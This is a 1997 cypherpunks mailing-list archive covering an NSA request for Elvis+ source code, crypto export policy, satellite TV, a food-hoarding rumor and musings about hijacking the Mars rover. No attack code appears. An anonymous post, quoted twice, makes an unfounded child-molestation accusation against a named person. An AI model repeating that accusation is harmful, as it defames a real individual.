From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Subject: FYI: NSA Requests Source Code From Elvis+


--- begin forwarded text


The following was posted on Computer Reseller News:


NSA Requests Source Code From Elvis+
By Deborah Gage

Mountain View, Calif.
3:00 p.m. EST Thurs., July 3, 1997
.............

The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
the Russian networking company in which Sun has a 10 percent stake, to
turn over the source code of its SunScreen SKIP E+.

At press time, Sun and the NSA still were negotiating over which parts of
the code Sun must turn over. Elvis+ President and Chief Executive
Alexander Galitsky has refused to turn over all the source code on the
grounds that the government does not need it.

"We will offer the NSA a nondisclosure  agreement and two to four code
modules so they can compare our source code with Sun's source code," said
Steven Hunzicker, chief operating officer of Russia Communications
Research Inc., a technology broker for Elvis+ in Los Gatos, Calif. "We
want to be reasonable and respectful, but not foolish. To ask for the
entire source code is unreasonable in any type of environment, business
or otherwise. Sun wouldn't give up their whole source code to the
government."

This is the latest development between the government, Elvis+ and Sun
over encryption policy. In May, Mountain View, Calif.-based Sun hoped to
sidestep U.S. encryption laws by selling the Elvis+ technology overseas
and importing it into the United States (CRN, May 26). Sun has exclusive
rights to the Elvis+ products on Windows 95 and 3.11. Moreover, the
Elvis+ technology is built from Sun's SKIP encryption and key management
protocol.

A Sun spokeswoman said Sun was in communication with the U.S. Department
of Commerce, but otherwise had no comment.

The Commerce Department, meanwhile, either will escalate its inquiry into
a full-scale investigation or resolve the issue, said a spokeswoman for
the department.

The NSA declined to comment on the matter.

Sources familiar with the inquiry said the Commerce Department is leaning
toward quiet resolution, despite the NSA's request. "This is not a fight
worth fighting," one source said. "They're watching the situation, but
right now no one wants to play."

Sun also acknowledged this week that the U.S. State Department is
investigating the diversion of a Sun server for unapproved use in China.

A Sun spokesman said the company is cooperating with the government and
is in touch with both the reseller and buyer of the server in an attempt
to get it back.

The spokesman refused to provide further details, citing national
security concerns.


--- end forwarded text




Vinnie Moscaritolo
That Crypto Guy at Apple...
http://www.vmeng.com/vinnie/
PGP:      4FA3298150E404F2782501876EA2146A
DSS/DH:   B36343A790489C8D4E149147D57A7566C206F586

1 if by land, 2 if by sea.
	 Paul Revere - encryption 1775

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 01:30:19 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <v0302090aafe6aa6a6cea@[139.167.130.246]>
Message-ID: <v03102801afe6d3f5130f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:18 AM -0700 7/7/97, Ulf Möller wrote:
>> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
>> the Russian networking company in which Sun has a 10 percent stake, to
>> turn over the source code of its SunScreen SKIP E+.
>
>Why should the US government get access to the source code of foreign
>product being imported to the US?

Because the United States of America is no longer a nation of laws. And
because, as some clever wag put it several years ago, "'national security'
is the root pass phrase of the Constitution."

(Sidestepping the issue that there are many thousands of
variously-interpreted laws, and presumably some law could be found
somewhere which says the NSA has the authority to demand whatever they
wish...)

I'd like to see Sun take a strong stance on this: "Show us the specific law
which lets you look at _imports_."

Actually, they have a sort of case for looking at imports: If imports are
unrestricted but exports are controlled, even if the export is just
re-export of an import (!), then someone somewhere in government presumably
has to confirm they are the same.

(And there are even some laws banning reexport of cryptographic code even
if it was imported, as we all know.)

But the real reason is that NSA and Commerce don't like this trend of
foreign developers sidestepping the U.S. crypto export laws...as with
Elvis+, Stronghold, etc. And they ain't going to allow it to go on for much
longer.

And criminals in the Congress will compliantly give them the laws they want
to put an end to this.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 7 Jul 1997 23:38:10 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] RSA
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: <v03020917afe6afc3ae4e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



I think I figured something out.

Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
list, we get bot noise. The bot's listening for Tim.

Cheers,
Bob



At 6:52 am -0400 on 7/7/97, Anonymous wrote:


> Given Tim C. May's propensity to molest little children, is it any
> surprise that the state of California wants to have him castrated?
>
>   o       o
> /<         >\ Tim C. May
> \\\_______///
> //         \\


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 7 Jul 1997 23:00:48 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell 6
Message-ID: <199707071443.HAA23473@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:
       
> On June 26 the court handling Jim's case extended
> the time from June 30 to July 11 for the USA to file an 
> indictment.
> 
> This is from an on-line docket of the case via 
> Public Access to Court Electronic Records (PACER)
> a subcription service for federal courts.
> 
> No indication that Jim has been released, jailed since 
> his arrest on May 16. No reason given for repeated
> waiver of right to a speedy trial.
> 
> The docket's at:
> 
>    http://jya.com/jimbell-dock.htm

Thanks for keeping us up to date. Jim always seemed to
me to be a loony, but I never (and still don't) think
he's capable of the things the warrent alleges him to
have been planning.

Peter Trei
DISCLAIMER: The above is my opinion, no one else's.

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 02:01:25 +0800
To: Lucky Green <cypherpunks@Algebra.COM
Subject: Re: Direct satellite systems?
In-Reply-To: <3.0.2.32.19970705230758.0072d7e8@netcom10.netcom.com>
Message-ID: <v03102802afe6d8581af1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:07 PM -0700 7/5/97, Lucky Green wrote:
>My local cable killing Mars rover deployment in favor of local dog tag
>ordinances (as required by the city), made me realize it that getting my
>own dish is way overdue.
>
>I would appreciate reports on any first hand experiences subscribers to
>this list have with satellite services. Yes, NASA TV and the SF channel is
>a must. :-)

I'm copying the list for my usual reasons. Plus, others may be interested.

I've had a DSS system for 15 months, and strongly recommend it, with a few
caveats I'll get to. I run my system into a Sony S-VHS deck and thence out
to a 32-inch direct view Pro-Scan monitor. (And to sets in other rooms.)

DSS is the leading 18-inch system, with DirectTV, USSB, Hughes, RCA, Sony,
etc. being the main names. The main competing system  being the Dish TV
system.

For about $60 a month I get the usual hundred or so channels, 5 channels of
HBO, 3 channels of Showtime, 3 of Cinemax, 3 of The Movie Channel, and
multiple others. And CNN, CNN-International, CNN-FN, blah blah. And CSPAN
(Congressional Sycophants, Panderers and Assholes Network). And the Sci-Fi
channel, though I never watch it (plenty of good recent vintage SF movies
on the major HBO types of networks, and Sci Fi channel often has
infomercials, etc.).

There is supposedly an Internet downfeed of some sort coming, but I'm not
counting on it. (The receiver box has a digital output cable; no uplink, of
course, but the proposed use involves a telephone connection for the user
responses.)

Advantages: Dish is very small and light. Fixed aiming, which means it can
be aimed and forgotten, with no mechanical motors, no maintenance, no lag
time in reacquiring a satellite. Dish can be mounted anywhere a clear view
of the southern sky is available. Exact aiming details for any location are
available (try Web sites, or Usenet newsgroups like *.dss.*, etc.). The
dish can be bolted on the side of houses, apartments, etc. Not in trees,
though, or where trees will even partly block the line of sight.

The picture quality is very good for some things. No snow, no thermal noise
("sparklies").  See next section.

Disadvantages: The system is all digital transmission. MPEG-2 is used for
compression. This can result in compression artifacts, especially in
fast-changing scenes (sports, for example).

The first year I had the system, I noticed almost no compression artifacts.
Recently, though, the various programmers like HBO and Encore added more
channels. I surmise this was done by cranking up the compression factors,
as many people are complaining loudly on the Net about seeing more
"pixelation" or "blocking" artififacts.

I'm hoping they tweak the algorithms and ratios to lessen this problem.

One or more additional satellites are expected to go up, so this may help.

I'd still recommend it. Over the competing systems like Dish TV, and
certainly over the 8-foot BUDs (Big Ugly Dishes, the C-band systems).

Readers with good memories may note that I mentioned Ku-band satellites in
my Crypto Anarchist Manifesto, written and distributed in 1988. Things have
come full circle.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 8 Jul 1997 02:18:57 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <19970702180331.11847@bywater.songbird.com>
Message-ID: <19970707110450.55022@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 02, 1997 at 08:21:23PM -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <19970702180331.11847@bywater.songbird.com>, on 07/02/97 
>   at 06:03 PM, Kent Crispin <kent@songbird.com> said:
>
>>"There is something right when Kent Crispin is not a felon under an 
>>increasing number of laws."
>
>Just goes to show that you can goose-step with the best of them Kent.

You learn the darndest things on this list....

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Tue, 8 Jul 1997 01:07:18 +0800
To: dlv@bwalk.dm.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <D73g0D7w165w@bwalk.dm.com>
Message-ID: <33c11bde062e002@earth.tc.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM said:
> Mike <Michael.Johnson@mejl.com> writes:
> > You mean that it would be fine for foreigners to copy and sell the CD, but
> > not to put it on the net? Well, copyright law being what it is, makes this
> > a bit tricky. An ftp administrator have never been sentenced for copyright
> > violation (please correct me if I'm wrong),
> 
> An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive.
> He got arrested and charged with something irrelevant (wire fraud??).
> 

And the charge was dismissed.

http://www.leepfrog.com/E-Law/Cases/US_v_LaMacchia.html

-- 
Kevin L. Prigge                     | "The only thing that saves us from
Systems Software Programmer         | the bureaucracy is it's
Enterprise Internet Services        | inefficiency." - Eugene McCarthy
University of Minnesota             |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Tue, 8 Jul 1997 00:00:19 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Hack the Mars rover
In-Reply-To: <Pine.GSO.3.95.970706063925.4547A-100000@ece>
Message-ID: <33C13960.7AAF@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
> Besides, how much encryption is needed between two points if intercepting
> the traffic is expensive, the communications protocol is undocumented (as
> far as anyone outside NASA is concerned), and the actual frequency is also
> hard to find?
>
The appropriate question is how much encryption (and other security) is
needed if interrupting the traffic causes the loss of a great deal of
money and difficult (if possible at all) fixes.  This is the mindset of
the Fed security wienies when specifying and designing; thus it must be
the mindset of the non-Fed Wienie looking to crack.

 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill@acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Marc J. Wohler" <mwohler@ix.netcom.com>
Date: Tue, 8 Jul 1997 00:24:01 +0800
To: bennett_t1@popmail.firn.edu
Subject: Re: can i join
Message-ID: <3.0.16.19970707115957.44179a86@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:37 PM 7/6/97 -0500, you wrote:
>
>Drifter0@aol.com wrote:
>
>> thanx
>
>   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
>proper procedures.
>
>Time for the flame-form.
>-----------------------------
>Dear:

Bennett,

I got some chuckles from your  'Flame Form' and sympathize with view
expressed therein.

However:

How do you propose that we get our import  message of strong crypto
awareness out to the clueless if we display elitism, impatience and
intolerance to their ignorance?

Marc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 8 Jul 1997 03:55:41 +0800
To: cypherpunks@cyberpass.net
Subject: Hoarding
Message-ID: <v03102804afe6f7f7a09d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



I heard yesterday, second hand, that hoarding of large amounts of food is
now a federal crime.  The explanation I heard was that it was intended to
thwart militias.  Has anyone else on the list heard this loony info?

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 7 Jul 1997 19:06:10 +0800
To: cypherpunks@toad.com
Subject: [STEGO] RSA
Message-ID: <199707071052.MAA11508@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Given Tim C. May's propensity to molest little children, is it any
surprise that the state of California wants to have him castrated?

  o       o
/<         >\ Tim C. May
\\\_______///
//         \\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 8 Jul 1997 04:10:44 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Hack the Mars rover
In-Reply-To: <Pine.GSO.3.95.970707125426.8366B-100000@ece>
Message-ID: <Pine.3.89.9707071257.A950-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



Yes, the idea was to take over the rover. A DoS would be an extremely 
idiotic thing to do. Of course so would be damaging the rover. But a 
little cruise... :-)

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 7 Jul 1997, Ryan Anderson wrote:

> On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> 
> > The appropriate question is how much encryption (and other security) is
> > needed if interrupting the traffic causes the loss of a great deal of
> > money and difficult (if possible at all) fixes.  This is the mindset of
> > the Fed security wienies when specifying and designing; thus it must be
> > the mindset of the non-Fed Wienie looking to crack.
> 
> Well, if it matters any, my initial impression was that this discussion
> was based upon taking over the rover, not necessarily upon just performing
> a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> taking it over, on the other hand could be fun..
> 
> -----------------------------------------------------------------------
> Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Tue, 8 Jul 1997 01:06:53 +0800
To: "Paul H. Merrill" <paulmerrill@acm.org>
Subject: Re: Hack the Mars rover
In-Reply-To: <33C13960.7AAF@acm.org>
Message-ID: <Pine.GSO.3.95.970707125426.8366B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Paul H. Merrill wrote:

> The appropriate question is how much encryption (and other security) is
> needed if interrupting the traffic causes the loss of a great deal of
> money and difficult (if possible at all) fixes.  This is the mindset of
> the Fed security wienies when specifying and designing; thus it must be
> the mindset of the non-Fed Wienie looking to crack.

Well, if it matters any, my initial impression was that this discussion
was based upon taking over the rover, not necessarily upon just performing
a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
taking it over, on the other hand could be fun..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 8 Jul 1997 04:15:50 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Hoarding
In-Reply-To: <v03102804afe6f7f7a09d@[10.0.2.15]>
Message-ID: <Pine.GSO.3.96.970707130040.2063A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Steve Schear wrote:

> I heard yesterday, second hand, that hoarding of large amounts of food is
> now a federal crime.  The explanation I heard was that it was intended to
> thwart militias.  Has anyone else on the list heard this loony info?

I have not heard of such a thing.  If it did become law, you can bet you
would hear alot of screams from the Mormon church over it.  (Members are
encouraged to keep n-years worth of supplies in case of emergencies.)

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 07:39:17 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <199707071515.RAA19807@basement.replay.com>
Message-ID: <2seH0D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Mike <Michael.Johnson@mejl.com> writes:
> > > You mean that it would be fine for foreigners to copy and sell the CD, bu
> > > not to put it on the net? Well, copyright law being what it is, makes thi
> > > a bit tricky. An ftp administrator have never been sentenced for copyrigh
> > > violation (please correct me if I'm wrong),
> >
> > An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive
> > He got arrested and charged with something irrelevant (wire fraud??).
> 
> The case against him was lost.

I was studying up on his case just the other day and wasn't sure
if it was all over.  The DA fucked up by charging him with something
totally irrelevant and not copyright violations.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 07:41:18 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] RSA
In-Reply-To: <19970707091103.21159@bywater.songbird.com>
Message-ID: <6weH0D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:

> On Mon, Jul 07, 1997 at 10:39:04AM -0400, Robert Hettinga wrote:
> > I think I figured something out.
> > 
> > Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
> > list, we get bot noise. The bot's listening for Tim.
> > 
> It should be clear by now that Tim actually runs the bot.

And blames me for it.  How sneaky!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 07:41:29 +0800
To: cypherpunks@toad.com
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <v03102800afe6d1ed98f2@[207.167.93.63]>
Message-ID: <24eH0D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> and I had been (vaguely) ascribing this quiescence to the problems Vulis
> has said he is having with his normal computer.

Tim, I'm not having any "problems" with bwalk (the only computer with the
modem - others are in no way connected to the internet for security reasons)
I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
before I add NT 4.0.
I think it's sort of a change for the better.  (I still have W95, Linux,
and OS/2 on other boxes.)
(Oh and by the way I got the CD writer - thanks again to everyone who gave
feedback regarding the backup systems)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 8 Jul 1997 04:44:03 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <Pine.SUN.3.96.970707144023.5963L-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.96.970707132303.2063B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Ray Arachelian wrote:

> On Mon, 7 Jul 1997, Ulf [iso-8859-1] Möller wrote:
> 
> > Why should the US government get access to the source code of foreign
> > product being imported to the US?
> 
> Because they are scum who don't care about the property rights of
> corporations.  I wonder what would happen if Sun would instead say "Fuck
> you no way" or whether they were threatened into giving it up?

After what happened to Inslaw, you would think Sun would know better than
to give it to them.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 8 Jul 1997 01:52:52 +0800
To: cypherpunks@toad.com
Subject: DCSB: Duncan Frissell and MarketEarth
Message-ID: <v03020905afe6d332a2ec@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

                 The Digital Commerce Society of Boston

                              Presents
                         Mr. Duncan Frissell,
                         Frissell Associates

                          "Markets Rule! OK
            Bet on MarketEarth -- Bet Against Bureaucracy"



                        Tuesday, August 5, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Mr. Frissell, the Net's most enthusiastic Technoptimist will answer such
questions as:  Why did Central Planning, Deutsche Telecom, and X.25
lose and the Market, telecoms competition, and TCP/IP win?  Can banks
compete with nonbanks?  Why controlling the Nets is as hard as controlling
the thoughts of other people.  Why popular measures like immigration
control are doomed.  What do such phenomenon as the Jewish Holiday
Effect, the Sack Full of Cats in the River Effect, the Canadian Air
Service Effect, the Saturday Morning Shopping Trip Effect, and the
Taiwanese Privatization Effect tell us about the future of government
and the individual?  Why things are not the same and never will be again?
Why the Market is "X-The Unknown," "The Blob," -- and why even Steve
McQueen couldn't save us from it?

"Duncan Frissell makes Kevin Kelly sound like Jimmy Carter." -- Anonymous

Mr. Frissell, an Attorney, privacy consultant, and author, has worked
in what he insists on calling the "Right Wing Nut Investment Community"
for more than 20 years.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, August 5, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, August 2, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston


- -----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 8 Jul 1997 04:41:29 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Hack the Mars rover
In-Reply-To: <Pine.3.89.9707071257.A950-0100000@netcom2>
Message-ID: <Pine.GSO.3.96.970707132638.2063C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Lucky Green wrote:

> Yes, the idea was to take over the rover. A DoS would be an extremely 
> idiotic thing to do. Of course so would be damaging the rover. But a 
> little cruise... :-)

Or someone could just replace the signal with one of their own.  Having
Elvis drive up in a '57 Chevy on the Martian landscape would be a cute
hack. ]:>

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 8 Jul 1997 04:51:12 +0800
To: cypherpunks@toad.com
Subject: Australian encryption policy report released!
Message-ID: <199707072033.NAA28013@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Electronic Frontiers Australia has succeeded in obtaining the "Walsh
report", with a few paragraphs excised.

It's available at http://www.efa.org.au/Issues/Crypto/Walsh/.

It is a broad technology and policy review like the US National
Research Council's, though it's more succinct (only a hundred pages
long) and done by a single person, on contract to the Australian
Government.  I recommend reading it.  Here's a sample:

"The review encountered significant scepticism about mandated key
escrow or TTP systems.  The national sovereignty of the agencies
providing these services could not be guaranteed, with consequent
implications for the national interest.  There is the strong
likelihood that these agencies would become the major targets of
foreign intelligence services."

	John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 04:46:55 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: Hoarding
In-Reply-To: <v03102804afe6f7f7a09d@[10.0.2.15]>
Message-ID: <v03102804afe7028e0544@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:48 PM -0700 7/7/97, Steve Schear wrote:
>I heard yesterday, second hand, that hoarding of large amounts of food is
>now a federal crime.  The explanation I heard was that it was intended to
>thwart militias.  Has anyone else on the list heard this loony info?
>

This rumor floats through alt.survival and misc.survival about once every
few weeks. Usually someone claims they "heard" this, but no one can produce
a cite for an actual law.

(Eventually someone steps forward and mentions the various Economic
Emergency Powers Act provisions, and this feeds the rumors further...in a
few weeks, when someone else announces they've "heard" this.)

The Mormons and other religious groups are well known to stockpile large
amounts of food. I recall that good Mormons are supposed to have on the
order of  a year's supply of food.

The effect on militia activities is nil, and even a law which made felons
of most Mormons and prepared folks would have no effect on militias.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
